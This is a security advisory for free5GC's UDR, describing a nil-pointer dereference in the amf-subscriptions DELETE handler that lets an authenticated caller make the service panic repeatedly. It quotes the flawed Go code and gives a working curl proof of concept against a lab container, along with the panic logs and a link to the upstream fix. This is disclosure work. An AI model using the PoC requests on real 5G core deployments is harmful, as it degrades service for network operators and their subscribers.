GHSA-4rqf-grm6-vf75

### Summary free5GC's UDR `nudr-dr` `DELETE /subscription-data/{ueId}/{servingPlmnId}/ee-subscriptions/{subsId}/amf-subscriptions` handler contains a nil-pointer dereference reachable from a single authenticated request, after one preparatory authenticated EE-subscription create. The handler checks `_, ok = UESubsData.EeSubscriptionCollection[subsId]` and sets a `404` problem-details on the miss path, but then continues to `UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos` -- dereferencing the same missing entry instead of returning. Gin recovery converts the panic into `HTTP 500`, but the endpoint remains repeatedly panicable.

This endpoint requires a valid `nudr-dr` OAuth2 access token (i.e. PR:L, NOT PR:N), so this is scored as an authenticated panic-DoS, not as an unauth-bypass finding.

### Details Validated against the UDR container in the official Docker compose lab. - Source repo tag: `v4.2.1` - Running Docker image: `free5gc/udr:v4.2.1` - Runtime UDR commit: `754d23b0` - Docker validation date: 2026-03-22 - UDR endpoint: `http://10.100.200.11:8000`

Precondition (one authenticated EE-subscription create allocates UE state): ```go if !ok { udrSelf.UESubsCollection.Store(ueId, new(udr_context.UESubsData)) value, _ = udrSelf.UESubsCollection.Load(ueId) } ... UESubsData.EeSubscriptionCollection[newSubscriptionID] = new(udr_context.EeSubscriptionCollection) ```

Vulnerable handler (delete on amf-subscriptions): the `ok` miss path sets `pd` but does not return, so the very next line dereferences the nil entry: ```go _, ok = UESubsData.EeSubscriptionCollection[subsId] if !ok { pd = util.ProblemDetailsNotFound("SUBSCRIPTION_NOT_FOUND") }

if UESubsData.EeSubscriptionCollection[subsId].AmfSubscriptionInfos == nil { pd = util.ProblemDetailsNotFound("AMFSUBSCRIPTION_NOT_FOUND") } ``` When `subsId` is absent, `UESubsData.EeSubscriptionCollection[subsId]` is nil, and `.AmfSubscriptionInfos` panics with `runtime error: invalid memory address or nil pointer dereference`.

Code evidence (paths in `free5gc/udr`): - Precondition route + handler (EE-subscription create that allocates UE state): - `NFs/udr/internal/sbi/api_datarepository.go:600` - `NFs/udr/internal/sbi/api_datarepository.go:602` - `NFs/udr/internal/sbi/api_datarepository.go:2528` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:25` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:30` - `NFs/udr/internal/sbi/processor/event_exposure_subscriptions_collection.go:38` - Vulnerable delete route + dispatch: - `NFs/udr/internal/sbi/api_datarepository.go:2161` - `NFs/udr/internal/sbi/api_datarepository.go:2172` - Panic root cause (nil deref): - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:62` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:64` - `NFs/udr/internal/sbi/processor/event_amf_subscription_info_document.go:69`

### PoC Reproduced end-to-end against the running UDR at `http://10.100.200.11:8000`.

1. Restart UDR (clean state): ``` docker restart udr ```

2. Obtain a valid `nudr-dr` token from NRF: ``` curl -sS -X POST 'http://10.100.200.3:8000/oauth2/token' \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data 'grant_type=client_credentials&nfType=NEF&nfInstanceId=eb9990de-4cd3-41b0-b5d9-c2102b088c57&targetNfType=UDR&scope=nudr-dr' ```

3. Create one EE subscription to populate `UESubsCollection` for `ueId=x`: ``` curl -i -sS -X POST \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/context-data/ee-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' \ -H 'Content-Type: application/json' \ --data '{}' ``` ``` HTTP/1.1 201 Created ```

4. Trigger the panic with a nonexistent `subsId`: ``` curl -i -sS -X DELETE \ 'http://10.100.200.11:8000/nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions' \ -H 'Authorization: Bearer <valid_nudr_dr_jwt>' ``` ``` HTTP/1.1 500 Internal Server Error Content-Length: 0 ```

5. UDR container logs (`docker logs udr`) confirm the nil-pointer panic at `event_amf_subscription_info_document.go:69` inside `RemoveAmfSubscriptionsInfoProcedure`: ``` [ERRO][UDR][GIN] panic: runtime error: invalid memory address or nil pointer dereference github.com/free5gc/udr/internal/sbi/processor.(*Processor).RemoveAmfSubscriptionsInfoProcedure .../event_amf_subscription_info_document.go:69 github.com/free5gc/udr/internal/sbi.(*Server).HandleRemoveAmfSubscriptionsInfo .../api_datarepository.go:2172 [INFO][UDR][GIN] | 500 | DELETE | /nudr-dr/v2/subscription-data/x/bad/ee-subscriptions/x/amf-subscriptions | ```

### Impact NULL pointer dereference (CWE-476) in an authenticated UDR data-repository handler, caused by improper handling of the missing-subsId branch (CWE-754): the handler sets a problem-details value but does not return, then dereferences the same missing map entry.

This is NOT framed as an auth-bypass finding: the endpoint requires a valid `nudr-dr` OAuth2 access token. A network attacker who already holds (or can obtain) a valid token can: - Trigger a reliable, repeatable nil-deref panic on the `amf-subscriptions` delete route after one preparatory POST that allocates UE state for the chosen `ueId`. - Repeat the trigger to sustain a per-request panic-DoS on UDR's data-repository surface, with each panic costing more CPU + log writes than the intended `404 SUBSCRIPTION_NOT_FOUND` response would have.

No Confidentiality impact (the response is `500` with empty body; no UE data is returned to the attacker via the panic). No persistent Integrity impact from the panic itself (the EE subscription created during the precondition is in-memory state owned by UDR's intended data-repository semantics, and is not corrupted by the delete-time panic). Availability impact is limited to per-request degradation (Gin recovers; the UDR process keeps running).

Affected: free5gc v4.2.1.

Upstream issue: https://github.com/free5gc/free5gc/issues/919 Upstream fix: https://github.com/free5gc/udr/pull/60